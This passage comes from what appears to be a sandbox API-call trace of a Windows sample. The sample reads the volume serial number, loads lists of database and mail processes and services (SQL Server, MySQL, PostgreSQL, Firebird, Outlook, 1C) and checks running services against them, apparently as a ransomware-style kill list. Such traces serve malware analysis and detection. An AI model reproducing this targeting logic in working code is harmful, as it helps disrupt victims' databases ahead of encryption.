Size=0x8) returned 0x4fc8b8 [0174.481] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fc8b8, Size=0x10) returned 0x5050b0 [0174.481] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x5050b0, Size=0x20) returned 0x4e5ad0 [0174.481] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fc878, Size=0x8) returned 0x4fc8b8 [0174.481] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fc888, Size=0x8) returned 0x4fc878 [0174.481] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fc8a8, Size=0x8) returned 0x4fc8c8 [0174.481] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fc8c8, Size=0x10) returned 0x505158 [0174.481] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x505158, Size=0x20) returned 0x4e5af8 [0174.481] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fc8b8, Size=0x10) returned 0x505158 [0174.481] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fc878, Size=0x10) returned 0x500190 [0174.481] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fc8b8, Size=0x8) returned 0x4fc8a8 [0174.481] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fc8d8, Size=0x8) returned 0x4fc8e8 [0174.481] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x505158, Size=0x20) returned 0x4e5b20 [0174.481] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500190, Size=0x20) returned 0x4e5b48 [0174.481] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fc8f8, Size=0x8) returned 0x4fc908 [0174.482] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500220, Size=0x20) returned 0x4e5b98 [0174.482] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x51d558, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0174.482] lstrlenW (lpString="C:\\") returned 3 [0174.482] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0174.482] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51d558 | out: hHeap=0x4b0000) returned 1 [0174.482] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fc938, Size=0x82) returned 0x4fbf88 [0174.482] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x503190, Size=0x100) returned 0x501180 [0174.482] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fbf88, Size=0x104) returned 0x5009f0 [0174.482] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x501180, Size=0x200) returned 0x505190 [0174.483] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x503180 | out: hHeap=0x4b0000) returned 1 [0174.483] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x505190 | out: hHeap=0x4b0000) returned 1 [0174.483] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x5002c8 | out: hHeap=0x4b0000) returned 1 [0174.483] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50b770 | out: hHeap=0x4b0000) returned 1 [0174.483] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x500280 | out: hHeap=0x4b0000) returned 1 [0174.483] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50b6e8 | out: hHeap=0x4b0000) returned 1 [0174.483] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x5002b0 | out: hHeap=0x4b0000) returned 1 [0174.483] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x5009f0 | out: hHeap=0x4b0000) returned 1 [0174.483] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x500298 | out: hHeap=0x4b0000) returned 1 [0174.483] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fc018 | out: hHeap=0x4b0000) returned 1 [0174.483] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x5002e0 | out: hHeap=0x4b0000) returned 1 [0174.483] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x500960 | out: hHeap=0x4b0000) returned 1 [0174.483] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x5002f8 | out: hHeap=0x4b0000) returned 1 [0174.483] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x5002f8, Size=0x20) returned 0x4e5bc0 [0174.483] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5bc0, Size=0x40) returned 0x4e6c58 [0174.595] WaitForMultipleObjects (nCount=0x2, lpHandles=0x4e7d28*=0x100, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 72 os_tid = 0x40c Thread: id = 74 os_tid = 0x68c [0174.530] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500268 [0174.530] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500268, Size=0x20) returned 0x4e5bc0 [0174.530] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5bc0, Size=0x40) returned 0x4e6ca0 [0174.530] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6ca0, Size=0x80) returned 0x50b550 [0174.530] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b550, Size=0x100) returned 0x501180 [0174.530] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500268 [0174.530] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500268, Size=0x20) returned 0x4e5bc0 [0174.530] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5bc0, Size=0x40) returned 0x4e6ca0 [0174.530] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6ca0, Size=0x80) returned 0x50b550 [0174.530] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b550, Size=0x100) returned 0x501288 [0174.530] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x500268 [0174.530] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4fc8f8 [0174.530] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500238 [0174.530] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fc8f8, Size=0x8) returned 0x4fc928 [0174.530] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x14) returned 0x4e6240 [0174.530] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fc928, Size=0x10) returned 0x500250 [0174.530] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x18) returned 0x4e6260 [0174.530] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1a) returned 0x4e5bc0 [0174.530] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500250, Size=0x20) returned 0x4e5be8 [0174.530] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1c) returned 0x4e5c10 [0174.530] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x16) returned 0x4e6280 [0174.530] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1a) returned 0x4e5c38 [0174.530] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x500250 [0174.530] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4fc928 [0174.530] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40) returned 0x4e6ca0 [0174.530] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fc928, Size=0x8) returned 0x4fc8f8 [0174.530] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x3c) returned 0x4e6ce8 [0174.530] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fc8f8, Size=0x10) returned 0x500220 [0174.530] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x14) returned 0x4e62a0 [0174.530] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x18) returned 0x4e62c0 [0174.531] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500220, Size=0x20) returned 0x4e5c60 [0174.531] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x24) returned 0x4fc4b8 [0174.531] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0174.531] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x501180 | out: hHeap=0x4b0000) returned 1 [0174.531] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0174.531] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x501288 | out: hHeap=0x4b0000) returned 1 [0174.531] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4e5d00 [0174.531] EnumServicesStatusExW (in: hSCManager=0x4e5d00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0174.531] GetLastError () returned 0xea [0174.531] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x11e4) returned 0x51e598 [0174.531] EnumServicesStatusExW (in: hSCManager=0x4e5d00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x51e598, cbBufSize=0x11e4, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x51e598, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0174.532] CloseServiceHandle (hSCObject=0x4e5d00) returned 1 [0174.532] lstrlenW (lpString="Appinfo") returned 7 [0174.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0174.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0174.532] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0174.532] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0174.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0174.532] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0174.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0174.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0174.532] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0174.533] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0174.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0174.533] lstrlenW (lpString="AudioSrv") returned 8 [0174.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0174.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0174.533] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0174.533] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0174.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0174.533] lstrlenW (lpString="BFE") returned 3 [0174.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0174.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0174.533] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0174.533] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0174.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0174.533] lstrlenW (lpString="CryptSvc") returned 8 [0174.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0174.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0174.533] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0174.533] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0174.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0174.533] lstrlenW (lpString="CscService") returned 10 [0174.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0174.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0174.533] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0174.533] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0174.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0174.533] lstrlenW (lpString="DcomLaunch") returned 10 [0174.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0174.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0174.533] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0174.533] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0174.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0174.533] lstrlenW (lpString="Dhcp") returned 4 [0174.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0174.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0174.534] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0174.534] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0174.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0174.534] lstrlenW (lpString="Dnscache") returned 8 [0174.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0174.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0174.534] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0174.534] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0174.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0174.534] lstrlenW (lpString="DPS") returned 3 [0174.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0174.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0174.534] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0174.534] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0174.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0174.534] lstrlenW (lpString="eventlog") returned 8 [0174.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0174.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0174.534] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0174.534] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0174.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0174.534] lstrlenW (lpString="EventSystem") returned 11 [0174.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0174.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0174.534] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0174.534] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0174.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0174.534] lstrlenW (lpString="gpsvc") returned 5 [0174.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0174.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0174.535] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0174.535] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0174.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0174.535] lstrlenW (lpString="iphlpsvc") returned 8 [0174.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0174.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0174.535] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0174.535] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0174.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0174.535] lstrlenW (lpString="LanmanServer") returned 12 [0174.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0174.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0174.535] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0174.535] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0174.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0174.535] lstrlenW (lpString="LanmanWorkstation") returned 17 [0174.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0174.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0174.535] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0174.535] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0174.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0174.535] lstrlenW (lpString="lmhosts") returned 7 [0174.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0174.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0174.535] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0174.535] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0174.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0174.535] lstrlenW (lpString="MMCSS") returned 5 [0174.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0174.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0174.535] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0174.535] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0174.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0174.536] lstrlenW (lpString="MpsSvc") returned 6 [0174.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0174.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0174.536] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0174.536] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0174.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0174.536] lstrlenW (lpString="Netman") returned 6 [0174.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0174.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0174.536] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0174.536] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0174.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0174.536] lstrlenW (lpString="netprofm") returned 8 [0174.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0174.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0174.536] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0174.536] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0174.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0174.536] lstrlenW (lpString="NlaSvc") returned 6 [0174.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0174.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0174.536] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0174.536] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0174.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0174.536] lstrlenW (lpString="nsi") returned 3 [0174.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0174.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0174.536] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0174.537] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0174.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0174.537] lstrlenW (lpString="PcaSvc") returned 6 [0174.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0174.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0174.537] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0174.537] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0174.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0174.537] lstrlenW (lpString="PlugPlay") returned 8 [0174.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0174.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0174.537] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0174.537] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0174.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0174.537] lstrlenW (lpString="Power") returned 5 [0174.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0174.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0174.537] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0174.537] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0174.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0174.537] lstrlenW (lpString="ProfSvc") returned 7 [0174.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0174.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0174.537] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0174.537] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0174.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0174.537] lstrlenW (lpString="RpcEptMapper") returned 12 [0174.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0174.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0174.537] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0174.537] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0174.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0174.537] lstrlenW (lpString="RpcSs") returned 5 [0174.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0174.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0174.538] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0174.538] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0174.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0174.538] lstrlenW (lpString="SamSs") returned 5 [0174.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0174.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0174.538] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0174.538] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0174.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0174.538] lstrlenW (lpString="Schedule") returned 8 [0174.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0174.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0174.538] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0174.538] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0174.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0174.538] lstrlenW (lpString="SENS") returned 4 [0174.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0174.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0174.538] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0174.538] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0174.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0174.538] lstrlenW (lpString="ShellHWDetection") returned 16 [0174.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0174.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0174.538] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0174.538] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0174.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0174.538] lstrlenW (lpString="Spooler") returned 7 [0174.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0174.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0174.538] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0174.539] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0174.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0174.539] lstrlenW (lpString="SysMain") returned 7 [0174.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0174.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0174.539] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0174.539] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0174.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0174.539] lstrlenW (lpString="Themes") returned 6 [0174.539] lstrcmpiW 